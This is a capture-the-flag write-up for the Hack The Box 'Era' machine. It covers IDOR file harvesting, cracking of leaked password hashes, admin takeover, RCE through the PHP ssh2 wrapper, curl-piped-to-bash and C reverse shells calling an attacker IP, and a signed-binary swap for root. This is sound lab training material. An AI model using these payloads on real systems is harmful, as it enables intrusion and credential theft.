> m4rt@CTF_ARCHIVE:~$

// ATTACHMENTS

Hack The Box / LINUX / 2025-11-29

Hack The Box — Era (Linux)

IDOR-based file harvesting exposes backups and credentials, admin account takeover enables PHP ssh2 wrapper RCE, then signed ELF replacement in AV monitor cron path gives root.

Target

  • IP: 10.129.98.215

Port scan

sudo nmap -sC -sV 10.129.98.215 -p- -T5 -v
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.5
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Did not follow redirect to http://era.htb/
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Add era.htb to /etc/hosts.

Go to http://era.htb.

gobuster vhost -u http://era.htb/ -w /home/kali/SecLists/Discovery/DNS/bitquark-subdomains-top100000.txt -t 50 --append-domain
Found: file.era.htb Status: 200 [Size: 6765]

Add it to /etc/hosts.

Go to http://file.era.htb/.

There are links to other pages, but login is required.

gobuster dir -u 'http://file.era.htb/' -w /home/kali/SecLists/Discovery/Web-Content/raft-small-words.txt -t 50 -x php --exclude-length 6765

We notice register.php, not shown on homepage.

Register with random username/password and login.

We can upload an arbitrary file.

We can view it at a link, for example in our case:

  • http://file.era.htb/download.php?id=8854

And download it with:

  • http://file.era.htb/download.php?id=8854&dl=true

We can brute-force ids of files uploaded by other users.

Generate a wordlist of possible ids with this bash script (also attached as attachments/gen_wordlist.sh):

#!/bin/bash
for ((i=0; i<=9999; i++)); do
  printf "%04d\n" "$i"
done

Put it in file gen_wordlist.sh.

chmod +x gen_wordlist.sh
./gen_wordlist.sh > wordlist.txt
ffuf -u 'http://file.era.htb/download.php?id=FUZZ&dl=true' -w ./wordlist.txt --cookie 'PHPSESSID=29rcblpvkc6c83bq7r6map8oag' -t 50 -fw 3161
0150                    [Status: 200, Size: 2746, Words: 12, Lines: 9, Duration: 10ms]
0054                    [Status: 200, Size: 2006697, Words: 7361, Lines: 7445, Duration: 57ms]
8854                    [Status: 200, Size: 31, Words: 3, Lines: 2, Duration: 8ms]

File with id 0150 is signing.zip.

unzip -l signing.zip
Archive:  signing.zip
  Length      Date    Time    Name
---------  ---------- -----   ----
     2949  2025-01-26 02:09   key.pem
      355  2025-01-26 02:09   x509.genkey
---------                     -------
     3304                     2 files

In key.pem there is a private key and certificate.

In x509.genkey there is a user: yurivich.

File with id 0054 is site-backup-30-08-24.zip.

It looks like a backup of file.era.htb.

There is source code of various pages.

There is file: filedb.sqlite.

sqlite3 filedb.sqlite
.tables
files  users
PRAGMA table_info(users);
0|user_id|INTEGER|0||1
1|user_name|varchar(255)|1||0
2|user_password|varchar(255)|1||0
3|auto_delete_files_after|INT|1||0
4|security_answer1|varchar(255)|0||0
5|security_answer2|varchar(255)|0||0
6|security_answer3|varchar(255)|0||0
select * from users;
1|admin_ef01cab31aa|$2y$10$wDbohsUaezf74d3sMNRPi.o93wDxJqphM2m0VVUp41If6WrYr.QPC|600|Maria|Oliver|Ottawa
2|eric|$2y$10$S9EOSDqF1RzNUvyVj7OtJ.mskgP1spN3g2dneU.D.ABQLhSV2Qvxm|-1|||
3|veronica|$2y$10$xQmS7JL8UT4B3jAYK7jsNeZ4I.YqaFFnZNA/2GCxLveQ805kuQGOK|-1|||
4|yuri|$2b$12$HkRKUdjjOdf2WuTXovkHIOXwVDfSrgCqqHPpE37uWejRqUWqwEL2.|-1|||
5|john|$2a$10$iccCEz6.5.W2p7CSBOr3ReaOqyNmINMH1LaqeQaL22a1T1V/IddE6|-1|||
6|ethan|$2a$10$PkV/LAd07ftxVzBHhrpgcOwD3G1omX4Dk2Y56Tv9DpuUV/dh/a1wC|-1|||

Put this into file hash:

admin_ef01cab31aa:$2y$10$wDbohsUaezf74d3sMNRPi.o93wDxJqphM2m0VVUp41If6WrYr.QPC
eric:$2y$10$S9EOSDqF1RzNUvyVj7OtJ.mskgP1spN3g2dneU.D.ABQLhSV2Qvxm
veronica:$2y$10$xQmS7JL8UT4B3jAYK7jsNeZ4I.YqaFFnZNA/2GCxLveQ805kuQGOK
yuri:$2b$12$HkRKUdjjOdf2WuTXovkHIOXwVDfSrgCqqHPpE37uWejRqUWqwEL2.
john:$2a$10$iccCEz6.5.W2p7CSBOr3ReaOqyNmINMH1LaqeQaL22a1T1V/IddE6
ethan:$2a$10$PkV/LAd07ftxVzBHhrpgcOwD3G1omX4Dk2Y56Tv9DpuUV/dh/a1wC
./hashcat-6.2.6/hashcat.bin -a 0 -m 3200 ./hash ./rockyou.txt --username
./hashcat-6.2.6/hashcat.bin -a 0 -m 3200 ./hash ./rockyou.txt --username --show
eric:$2y$10$S9EOSDqF1RzNUvyVj7OtJ.mskgP1spN3g2dneU.D.ABQLhSV2Qvxm:america
yuri:$2b$12$HkRKUdjjOdf2WuTXovkHIOXwVDfSrgCqqHPpE37uWejRqUWqwEL2.:mustang
ftp era.htb

Specify user yuri and his password.

dir
229 Entering Extended Passive Mode (|||8596|)
150 Here comes the directory listing.
drwxr-xr-x    2 0        0            4096 Jul 22 08:42 apache2_conf
drwxr-xr-x    3 0        0            4096 Jul 22 08:42 php8.1_conf
cd apache2_conf
dir
-rw-r--r--    1 0        0            1332 Dec 08  2024 000-default.conf
-rw-r--r--    1 0        0            7224 Dec 08  2024 apache2.conf
-rw-r--r--    1 0        0             222 Dec 13  2024 file.conf
-rw-r--r--    1 0        0             320 Dec 08  2024 ports.conf

Download all files.

In file.conf, we get the site path in filesystem: /var/www/file.

cd php8.1_conf
dir
drwxr-xr-x    2 0        0            4096 Jul 22 08:42 build
-rw-r--r--    1 0        0           35080 Dec 08  2024 calendar.so
-rw-r--r--    1 0        0           14600 Dec 08  2024 ctype.so
-rw-r--r--    1 0        0          190728 Dec 08  2024 dom.so
-rw-r--r--    1 0        0           96520 Dec 08  2024 exif.so
-rw-r--r--    1 0        0          174344 Dec 08  2024 ffi.so
-rw-r--r--    1 0        0         7153984 Dec 08  2024 fileinfo.so
-rw-r--r--    1 0        0           67848 Dec 08  2024 ftp.so
-rw-r--r--    1 0        0           18696 Dec 08  2024 gettext.so
-rw-r--r--    1 0        0           51464 Dec 08  2024 iconv.so
-rw-r--r--    1 0        0         1006632 Dec 08  2024 opcache.so
-rw-r--r--    1 0        0          121096 Dec 08  2024 pdo.so
-rw-r--r--    1 0        0           39176 Dec 08  2024 pdo_sqlite.so
-rw-r--r--    1 0        0          284936 Dec 08  2024 phar.so
-rw-r--r--    1 0        0           43272 Dec 08  2024 posix.so
-rw-r--r--    1 0        0           39176 Dec 08  2024 readline.so
-rw-r--r--    1 0        0           18696 Dec 08  2024 shmop.so
-rw-r--r--    1 0        0           59656 Dec 08  2024 simplexml.so
-rw-r--r--    1 0        0          104712 Dec 08  2024 sockets.so
-rw-r--r--    1 0        0           67848 Dec 08  2024 sqlite3.so
-rw-r--r--    1 0        0          313912 Dec 08  2024 ssh2.so
-rw-r--r--    1 0        0           22792 Dec 08  2024 sysvmsg.so
-rw-r--r--    1 0        0           14600 Dec 08  2024 sysvsem.so
-rw-r--r--    1 0        0           22792 Dec 08  2024 sysvshm.so
-rw-r--r--    1 0        0           35080 Dec 08  2024 tokenizer.so
-rw-r--r--    1 0        0           59656 Dec 08  2024 xml.so
-rw-r--r--    1 0        0           43272 Dec 08  2024 xmlreader.so
-rw-r--r--    1 0        0           51464 Dec 08  2024 xmlwriter.so
-rw-r--r--    1 0        0           39176 Dec 08  2024 xsl.so
-rw-r--r--    1 0        0           84232 Dec 08  2024 zip.so

We notice ssh2 extension is active.

On site http://file.era.htb it is also possible to modify security questions.

You must specify a username and answers.

We know admin username: admin_ef01cab31aa.

So we set that username and change answers.

Then login using security answers (there is a link to login form in homepage).

We can login as user admin_ef01cab31aa.

We discover that the two zip files we downloaded belong to admin.

In source code of download.php we notice:

// BETA (Currently only available to the admin) - Showcase file instead of downloading it
    } elseif ($_GET['show'] === "true" && $_SESSION['erauser'] === 1) {
            $format = isset($_GET['format']) ? $_GET['format'] : '';
            $file = $fetched[0];

        if (strpos($format, '://') !== false) {
                $wrapper = $format;
                header('Content-Type: application/octet-stream');
            } else {
                $wrapper = '';
                header('Content-Type: text/html');
            }

            try {
                $file_content = fopen($wrapper ? $wrapper . $file : $file, 'r');
            $full_path = $wrapper ? $wrapper . $file : $file;
            // Debug Output
            echo "Opening: " . $full_path . "\n";
                echo $file_content;
            } catch (Exception $e) {
                echo "Error reading file: " . $e->getMessage();
            }

So for example we can go to:

  • http://file.era.htb/download.php?id=150&show=true

And it shows:

Opening: files/signing.zip Resource id #2

Now we can exploit ssh2 wrapper:

  • https://www.php.net/manual/uk/wrappers.ssh2.php

From browser, F12Application tab → get cookie PHPSESSID.

Now use curl:

curl 'http://file.era.htb/download.php?id=6073&show=true&format=ssh2.exec://yuri:mustang@127.0.0.1:22/sleep%205%23' --cookie 'PHPSESSID=29rcblpvkc6c83bq7r6map8oag'

Which corresponds to command:

sleep 5#

We added # because site appends files/<filename> (for example files/signing.zip), and # is a comment in shells like sh and bash.

We see response arrives after around 5 seconds, so we have RCE.

Now try to get a reverse shell.

Create file rev:

bash -i >& /dev/tcp/10.10.15.37/4444 0>&1

Start Python server and netcat listener:

python3 -m http.server 7777
nc -vlnp 4444

Now run:

curl 'http://file.era.htb/download.php?id=150&show=true&format=ssh2.exec://yuri:mustang@127.0.0.1:22/curl%20http%3A%2F%2F10%2E10%2E15%2E37%3A7777%2Frev%7Cbash%23' --cookie 'PHPSESSID=29rcblpvkc6c83bq7r6map8oag'

Which corresponds to command:

curl http://10.10.15.37:7777/rev|bash#

We obtain a reverse shell as user yuri.

ls -la /home

There is also user eric.

yuri does not appear to have anything interesting, so we switch to eric.

su eric

Insert previously found eric password.

We get a shell as eric.

id
uid=1000(eric) gid=1000(eric) groups=1000(eric),1001(devs)

We see eric is in group devs.

find / -group devs 2> /dev/null
/opt/AV
/opt/AV/periodic-checks
/opt/AV/periodic-checks/monitor
/opt/AV/periodic-checks/status.log
ls -la /opt/AV/periodic-checks
drwxrwxr-- 2 root devs  4096 Jul 29 21:36 .
drwxrwxr-- 3 root devs  4096 Jul 22 08:42 ..
-rwxrw---- 1 root devs 16544 Jul 29 21:36 monitor
-rw-rw---- 1 root devs   103 Jul 29 21:36 status.log
file /opt/AV/periodic-checks/monitor
monitor: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=45a4bb1db5df48dcc085cc062103da3761dd8eaf, for GNU/Linux 3.2.0, not stripped

Download monitor (for example run python3 -m http.server on victim and use wget on attacker).

Open it with Ghidra.

main function does this:

puts("[*] System scan initiated...");
sleep(3);
puts("[*] No threats detected. Shutting down...");
return 0;
cat status.log
[*] System scan initiated...
[*] No threats detected. Shutting down...
[SUCCESS] No threats detected.
[*] System scan initiated...
[*] No threats detected. Shutting down...
[SUCCESS] No threats detected.
[*] System scan initiated...
[*] No threats detected. Shutting down...
[SUCCESS] No threats detected.

By monitoring date/time of status.log, we notice it is modified every minute, so likely a cron job runs monitor every minute and writes output to status.log.

Since eric is in devs, we can modify monitor.

Try a reverse shell.

Listen with netcat:

nc -vlnp 4444

On victim machine run:

echo '#!/bin/bash
bash -i >& /dev/tcp/10.10.15.37/4444 0>&1' > monitor

Wait, then:

cat status.log
objcopy: /opt/AV/periodic-checks/monitor: file format not recognized
[ERROR] Executable not signed. Tampering attempt detected. Skipping.

So we cannot do it this way.

To understand better, use pspy64:

  • https://github.com/DominicBreuker/pspy

Upload it to victim.

chmod +x pspy64
./pspy64

We notice:

2025/07/29 21:47:01 CMD: UID=0     PID=14075  | /bin/sh -c bash -c '/root/initiate_monitoring.sh' >> /opt/AV/periodic-checks/status.log 2>&1
2025/07/29 21:47:01 CMD: UID=0     PID=14076  | /bin/bash /root/initiate_monitoring.sh
2025/07/29 21:47:01 CMD: UID=0     PID=14077  | objcopy --dump-section .text_sig=text_sig_section.bin /opt/AV/periodic-checks/monitor
2025/07/29 21:47:01 CMD: UID=0     PID=14078  | /bin/bash /root/initiate_monitoring.sh
2025/07/29 21:47:01 CMD: UID=0     PID=14079  | openssl asn1parse -inform DER -in text_sig_section.bin

On attacker machine run:

objcopy --dump-section .text_sig=text_sig_section.bin monitor
file text_sig_section.bin
text_sig_section.bin: DER Encoded PKCS#7 Signed Data

Now create a simple C program for reverse shell:

#include <stdlib.h>

int main() {
    system("bash -c 'bash -i >& /dev/tcp/10.10.15.37/4444 0>&1'");
    return 0;
}

Compile it:

gcc -o myrev rev.c

Inject signature section:

objcopy --add-section .text_sig=text_sig_section.bin myrev

Now upload myrev to victim and replace monitor, for example with:

curl http://10.10.15.37:7777/myrev -o monitor

Wait.

We obtain a reverse shell as root.